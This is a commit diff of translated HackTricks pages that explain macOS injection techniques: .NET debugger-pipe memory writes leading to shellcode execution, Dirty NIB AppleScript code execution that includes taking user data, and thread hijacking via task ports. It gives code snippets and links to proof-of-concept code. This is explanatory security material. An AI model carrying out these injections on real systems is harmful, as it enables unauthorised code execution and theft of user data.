Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-07-19 05:20:16 +00:00
parent 4ed3d6bf40
commit af59fdab3c
82 changed files with 2865 additions and 3939 deletions

View file

@ -1,18 +1,19 @@
# macOS .Net Anwendungen Injection
# macOS .Net-Anwendungen Injection
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Lernen Sie AWS-Hacking von Grund auf mit <a href="https://training.hacktricks.xyz/courses/arte">htARTE (HackTricks AWS Red Team Expert)</a>!</summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die [ABONNEMENTPLÄNE](https://github.com/sponsors/carlospolop)!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie die PEASS-Familie, unsere Sammlung exklusiver NFTs
- Treten Sie der Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks- und HackTricks Cloud-GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
**Dies ist eine Zusammenfassung des Beitrags [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Überprüfen Sie ihn für weitere Details!**
@ -20,11 +21,11 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
### **Einrichten einer Debugging-Sitzung** <a href="#net-core-debugging" id="net-core-debugging"></a>
Die Kommunikation zwischen Debugger und Debuggee in .NET wird von [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) verwaltet. Dieses Komponente richtet pro .NET-Prozess zwei benannte Pipes ein, wie in [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) zu sehen ist, die über [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) initiiert werden. Diese Pipes sind mit **`-in`** und **`-out`** suffixiert.
Die Handhabung der Kommunikation zwischen Debugger und Debuggee in .NET wird von [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) verwaltet. Diese Komponente richtet zwei benannte Pipes pro .NET-Prozess ein, wie in [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) zu sehen ist, die über [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) initiiert werden. Diese Pipes sind mit **`-in`** und **`-out`** suffixiert.
Wenn man das Verzeichnis **`$TMPDIR`** des Benutzers besucht, findet man Debugging-FIFOs, die für das Debuggen von .Net-Anwendungen verfügbar sind.
Durch den Besuch des **`$TMPDIR`** des Benutzers kann man Debugging-FIFOs finden, die für das Debuggen von .Net-Anwendungen verfügbar sind.
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) ist für die Verwaltung der Kommunikation von einem Debugger verantwortlich. Um eine neue Debugging-Sitzung zu starten, muss ein Debugger eine Nachricht über die `out`-Pipe senden, die mit einer `MessageHeader`-Struktur beginnt, die im .NET-Quellcode detailliert beschrieben ist:
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) ist verantwortlich für die Verwaltung der Kommunikation von einem Debugger. Um eine neue Debugging-Sitzung zu initiieren, muss ein Debugger eine Nachricht über die `out`-Pipe senden, die mit einer `MessageHeader`-Struktur beginnt, die im .NET-Quellcode detailliert beschrieben ist:
```c
struct MessageHeader {
MessageType m_eType; // Message type
@ -54,18 +55,18 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
```
Dieser Header wird dann über das `write`-Syscall an das Ziel gesendet, gefolgt von der `sessionRequestData`-Struktur, die eine GUID für die Sitzung enthält:
Dieser Header wird dann über den `write` syscall an das Ziel gesendet, gefolgt von der `sessionRequestData` Struktur, die eine GUID für die Sitzung enthält:
```c
write(wr, &sSendHeader, sizeof(MessageHeader));
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
write(wr, &sDataBlock, sizeof(SessionRequestData));
```
Eine Leseoperation auf der `out`-Pipe bestätigt den Erfolg oder Misserfolg des Debugging-Sitzungsaufbaus:
Ein Lesevorgang auf dem `out`-Pipe bestätigt den Erfolg oder Misserfolg der Einrichtung der Debugging-Sitzung:
```c
read(rd, &sReceiveHeader, sizeof(MessageHeader));
```
## Lesen des Speichers
Sobald eine Debugging-Sitzung hergestellt ist, kann der Speicher mithilfe des [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896)-Nachrichtentyps gelesen werden. Die Funktion `readMemory` ist detailliert beschrieben und führt die erforderlichen Schritte aus, um eine Leseanfrage zu senden und die Antwort abzurufen:
Sobald eine Debugging-Sitzung eingerichtet ist, kann der Speicher mit dem [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) Nachrichtentyp gelesen werden. Die Funktion readMemory ist detailliert und führt die notwendigen Schritte aus, um eine Leseanforderung zu senden und die Antwort abzurufen:
```c
bool readMemory(void *addr, int len, unsigned char **output) {
// Allocation and initialization
@ -79,9 +80,9 @@ return true;
```
Der vollständige Proof of Concept (POC) ist [hier](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b) verfügbar.
## Schreiben von Speicher
## Schreiben in den Speicher
Ebenso kann Speicher mithilfe der Funktion `writeMemory` geschrieben werden. Der Prozess besteht darin, den Nachrichtentyp auf `MT_WriteMemory` festzulegen, die Adresse und Länge der Daten anzugeben und dann die Daten zu senden:
Ähnlich kann der Speicher mit der Funktion `writeMemory` beschrieben werden. Der Prozess umfasst das Setzen des Nachrichtentyps auf `MT_WriteMemory`, das Festlegen der Adresse und der Länge der Daten und das anschließende Senden der Daten:
```c
bool writeMemory(void *addr, int len, unsigned char *input) {
// Increment IDs, set message type, and specify memory location
@ -93,37 +94,38 @@ bool writeMemory(void *addr, int len, unsigned char *input) {
return true;
}
```
Der dazugehörige POC ist [hier](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5) verfügbar.
Der zugehörige POC ist [hier](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5) verfügbar.
## Ausführung von .NET Core-Code <a href="#net-core-code-execution" id="net-core-code-execution"></a>
## .NET Core Codeausführung <a href="#net-core-code-execution" id="net-core-code-execution"></a>
Um Code auszuführen, muss man einen Speicherbereich mit rwx-Berechtigungen identifizieren, was mit vmmap -pages durchgeführt werden kann:
Um Code auszuführen, muss man einen Speicherbereich mit rwx-Berechtigungen identifizieren, was mit vmmap -pages: durchgeführt werden kann.
```bash
vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"
```
Um eine Stelle zum Überschreiben eines Funktionszeigers zu finden, ist es notwendig, das **Dynamic Function Table (DFT)** in .NET Core anzuzielen. Diese Tabelle, die in [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) detailliert beschrieben ist, wird vom Laufzeitsystem für JIT-Kompilierungshilfsfunktionen verwendet.
Einen Ort zu finden, um einen Funktionszeiger zu überschreiben, ist notwendig, und in .NET Core kann dies durch das Anvisieren der **Dynamic Function Table (DFT)** erfolgen. Diese Tabelle, die in [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) detailliert beschrieben ist, wird von der Laufzeit für JIT-Kompilierungs-Hilfsfunktionen verwendet.
Für x64-Systeme kann die Signatursuche verwendet werden, um eine Referenz auf das Symbol `_hlpDynamicFuncTable` in `libcorclr.dll` zu finden.
Für x64-Systeme kann die Signatur-Suche verwendet werden, um einen Verweis auf das Symbol `_hlpDynamicFuncTable` in `libcorclr.dll` zu finden.
Die Debugger-Funktion `MT_GetDCB` liefert nützliche Informationen, einschließlich der Adresse einer Hilfsfunktion, `m_helperRemoteStartAddr`, die den Speicherort von `libcorclr.dll` im Prozessspeicher angibt. Diese Adresse wird dann verwendet, um nach dem DFT zu suchen und einen Funktionszeiger mit der Adresse des Shellcodes zu überschreiben.
Die Debugger-Funktion `MT_GetDCB` liefert nützliche Informationen, einschließlich der Adresse einer Hilfsfunktion, `m_helperRemoteStartAddr`, die den Standort von `libcorclr.dll` im Prozessspeicher angibt. Diese Adresse wird dann verwendet, um eine Suche nach der DFT zu starten und einen Funktionszeiger mit der Adresse des Shellcodes zu überschreiben.
Der vollständige POC-Code für die Injektion in PowerShell ist [hier](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6) verfügbar.
Der vollständige POC-Code für die Injektion in PowerShell ist [hier](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6) zugänglich.
## Referenzen
## References
* [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,86 +1,88 @@
# macOS Dirty NIB
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}
**Für weitere Details zur Technik lesen Sie den Originalbeitrag unter: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Hier ist eine Zusammenfassung:
**Für weitere Details zur Technik siehe den Originalbeitrag von: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Hier ist eine Zusammenfassung:
NIB-Dateien, Teil des Apple-Entwicklungsumfelds, dienen zur Definition von **UI-Elementen** und deren Interaktionen in Anwendungen. Sie umfassen serialisierte Objekte wie Fenster und Schaltflächen und werden zur Laufzeit geladen. Obwohl sie weiterhin verwendet werden, empfiehlt Apple jetzt Storyboards für eine umfassendere Visualisierung des UI-Flusses.
NIB-Dateien, Teil von Apples Entwicklungsökosystem, sind dazu gedacht, **UI-Elemente** und deren Interaktionen in Anwendungen zu definieren. Sie umfassen serialisierte Objekte wie Fenster und Schaltflächen und werden zur Laufzeit geladen. Trotz ihrer fortwährenden Nutzung empfiehlt Apple jetzt Storyboards für eine umfassendere Visualisierung des UI-Flusses.
### Sicherheitsbedenken bei NIB-Dateien
Es ist wichtig zu beachten, dass **NIB-Dateien ein Sicherheitsrisiko darstellen** können. Sie haben das Potenzial, **beliebige Befehle auszuführen**, und Änderungen an NIB-Dateien innerhalb einer App hindern Gatekeeper nicht daran, die App auszuführen, was eine erhebliche Bedrohung darstellt.
Es ist wichtig zu beachten, dass **NIB-Dateien ein Sicherheitsrisiko darstellen können**. Sie haben das Potenzial, **willkürliche Befehle auszuführen**, und Änderungen an NIB-Dateien innerhalb einer App hindern Gatekeeper nicht daran, die App auszuführen, was eine erhebliche Bedrohung darstellt.
### Dirty NIB-Injektionsprozess
### Dirty NIB Injektionsprozess
#### Erstellen und Einrichten einer NIB-Datei
1. **Erstmalige Einrichtung**:
- Erstellen Sie eine neue NIB-Datei mit XCode.
- Fügen Sie ein Objekt zur Oberfläche hinzu und setzen Sie seine Klasse auf `NSAppleScript`.
- Konfigurieren Sie das anfängliche `source`-Attribut über benutzerdefinierte Laufzeitattribute.
1. **Erste Einrichtung**:
- Erstelle eine neue NIB-Datei mit XCode.
- Füge ein Objekt zur Benutzeroberfläche hinzu und setze seine Klasse auf `NSAppleScript`.
- Konfiguriere die anfängliche `source`-Eigenschaft über benutzerdefinierte Laufzeitattribute.
2. **Code-Ausführungsgadget**:
2. **Codeausführungs-Gadget**:
- Die Einrichtung ermöglicht das Ausführen von AppleScript auf Abruf.
- Integrieren Sie eine Schaltfläche, um das `Apple Script`-Objekt zu aktivieren und den `executeAndReturnError:`-Selektor spezifisch auszulösen.
- Integriere eine Schaltfläche, um das `Apple Script`-Objekt zu aktivieren, das speziell den Selektor `executeAndReturnError:` auslöst.
3. **Testen**:
- Ein einfaches AppleScript zum Testen:
- Ein einfaches Apple Script zu Testzwecken:
```bash
set theDialogText to "PWND"
display dialog theDialogText
```
- Testen Sie, indem Sie es im XCode-Debugger ausführen und auf die Schaltfläche klicken.
- Teste, indem du im XCode-Debugger ausführst und auf die Schaltfläche klickst.
#### Ausrichtung auf eine Anwendung (Beispiel: Pages)
#### Zielanwendung anvisieren (Beispiel: Pages)
1. **Vorbereitung**:
- Kopieren Sie die Ziel-App (z. B. Pages) in ein separates Verzeichnis (z. B. `/tmp/`).
- Starten Sie die App, um Gatekeeper-Probleme zu umgehen und sie zu cachen.
- Kopiere die Ziel-App (z. B. Pages) in ein separates Verzeichnis (z. B. `/tmp/`).
- Starte die App, um Gatekeeper-Probleme zu umgehen und sie zu cachen.
2. **Überschreiben der NIB-Datei**:
- Ersetzen Sie eine vorhandene NIB-Datei (z. B. About Panel NIB) durch die erstellte DirtyNIB-Datei.
- Ersetze eine vorhandene NIB-Datei (z. B. About Panel NIB) durch die erstellte DirtyNIB-Datei.
3. **Ausführung**:
- Starten Sie die Ausführung, indem Sie mit der App interagieren (z. B. das Menüelement `About` auswählen).
- Trigger die Ausführung, indem du mit der App interagierst (z. B. das Menüelement `Über` auswählst).
#### Proof of Concept: Zugriff auf Benutzerdaten
- Ändern Sie das AppleScript, um auf Benutzerdaten zuzugreifen und sie ohne Zustimmung des Benutzers zu extrahieren, z. B. Fotos.
- Ändere das AppleScript, um auf Benutzerdaten zuzugreifen und diese zu extrahieren, z. B. Fotos, ohne die Zustimmung des Benutzers.
### Codebeispiel: Bösartige .xib-Datei
- Greifen Sie auf eine [**Beispiel einer bösartigen .xib-Datei**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) zu, die die Ausführung beliebigen Codes demonstriert.
- Greife auf eine [**Beispiel einer bösartigen .xib-Datei**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) zu, die das Ausführen willkürlichen Codes demonstriert.
### Umgang mit Startbeschränkungen
- Startbeschränkungen verhindern die Ausführung von Apps an unerwarteten Orten (z. B. `/tmp`).
- Es ist möglich, Apps zu identifizieren, die nicht durch Startbeschränkungen geschützt sind, und sie für die Injektion von NIB-Dateien anzugreifen.
- Startbeschränkungen hindern die Ausführung von Apps aus unerwarteten Orten (z. B. `/tmp`).
- Es ist möglich, Apps zu identifizieren, die nicht durch Startbeschränkungen geschützt sind, und sie für die NIB-Datei-Injektion anzuvisieren.
### Weitere macOS-Schutzmaßnahmen
Ab macOS Sonoma sind Änderungen innerhalb von App-Bundles eingeschränkt. Frühere Methoden umfassten jedoch:
### Zusätzliche macOS-Schutzmaßnahmen
Seit macOS Sonoma sind Änderungen innerhalb von App-Bundles eingeschränkt. Frühere Methoden umfassten:
1. Kopieren der App an einen anderen Ort (z. B. `/tmp/`).
2. Umbenennen von Verzeichnissen innerhalb des App-Bundles, um anfängliche Schutzmaßnahmen zu umgehen.
3. Nach dem Ausführen der App zur Registrierung bei Gatekeeper das App-Bundle ändern (z. B. MainMenu.nib durch Dirty.nib ersetzen).
4. Umbenennen der Verzeichnisse zurück und erneutes Ausführen der App zur Ausführung der injizierten NIB-Datei.
3. Nach dem Ausführen der App, um sich bei Gatekeeper zu registrieren, das App-Bundle ändern (z. B. Ersetzen von MainMenu.nib durch Dirty.nib).
4. Verzeichnisse zurückbenennen und die App erneut ausführen, um die injizierte NIB-Datei auszuführen.
**Hinweis**: Aktuelle macOS-Updates haben diesen Exploit durch die Verhinderung von Dateiänderungen innerhalb von App-Bundles nach dem Gatekeeper-Caching abgeschwächt, wodurch der Exploit unwirksam wird.
**Hinweis**: Neuere macOS-Updates haben diesen Exploit gemildert, indem sie Dateiänderungen innerhalb von App-Bundles nach dem Caching durch Gatekeeper verhindern, wodurch der Exploit unwirksam wird.
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# macOS Thread-Injektion über Task-Port
# macOS Thread Injection via Task port
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Code
@ -20,49 +21,49 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
* [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36)
## 1. Thread-Hijacking
## 1. Thread Hijacking
Zunächst wird die Funktion **`task_threads()`** auf dem Task-Port aufgerufen, um eine Thread-Liste vom Remote-Task zu erhalten. Ein Thread wird zum Hijacking ausgewählt. Dieser Ansatz unterscheidet sich von herkömmlichen Code-Injektionsmethoden, da das Erstellen eines neuen Remote-Threads aufgrund der neuen Absicherung, die `thread_create_running()` blockiert, untersagt ist.
Zunächst wird die **`task_threads()`**-Funktion auf dem Task-Port aufgerufen, um eine Thread-Liste vom Remote-Task zu erhalten. Ein Thread wird zum Hijacking ausgewählt. Dieser Ansatz weicht von herkömmlichen Code-Injektionsmethoden ab, da das Erstellen eines neuen Remote-Threads aufgrund der neuen Minderung, die `thread_create_running()` blockiert, verboten ist.
Um den Thread zu steuern, wird **`thread_suspend()`** aufgerufen, um seine Ausführung anzuhalten.
Um den Thread zu steuern, wird **`thread_suspend()`** aufgerufen, um seine Ausführung zu stoppen.
Die einzigen zulässigen Operationen auf dem Remote-Thread umfassen das **Anhalten** und **Starten** sowie das **Abrufen** und **Ändern** seiner Registerwerte. Remote-Funktionsaufrufe werden initiiert, indem die Register `x0` bis `x7` auf die **Argumente** gesetzt, `pc` auf die gewünschte Funktion ausgerichtet und der Thread aktiviert wird. Damit der Thread nach der Rückkehr nicht abstürzt, muss die Rückkehr erkannt werden.
Die einzigen Operationen, die auf dem Remote-Thread erlaubt sind, bestehen darin, ihn **anzuhalten** und **zu starten**, sowie seine Registerwerte **abzurufen** und **zu ändern**. Remote-Funktionsaufrufe werden initiiert, indem die Register `x0` bis `x7` auf die **Argumente** gesetzt, **`pc`** auf die gewünschte Funktion konfiguriert und der Thread aktiviert wird. Um sicherzustellen, dass der Thread nach der Rückkehr nicht abstürzt, ist es notwendig, die Rückkehr zu erkennen.
Eine Strategie besteht darin, einen **Ausnahme-Handler** für den Remote-Thread mit `thread_set_exception_ports()` zu registrieren und das Register `lr` vor dem Funktionsaufruf auf eine ungültige Adresse zu setzen. Dadurch wird nach der Ausführung der Funktion eine Ausnahme ausgelöst, die eine Nachricht an den Ausnahme-Port sendet und eine Zustandsinspektion des Threads ermöglicht, um den Rückgabewert wiederherzustellen. Alternativ wird, wie von Ian Beers triple\_fetch-Exploit übernommen, `lr` auf eine endlose Schleife gesetzt. Die Register des Threads werden dann kontinuierlich überwacht, bis **`pc` auf diese Anweisung zeigt**.
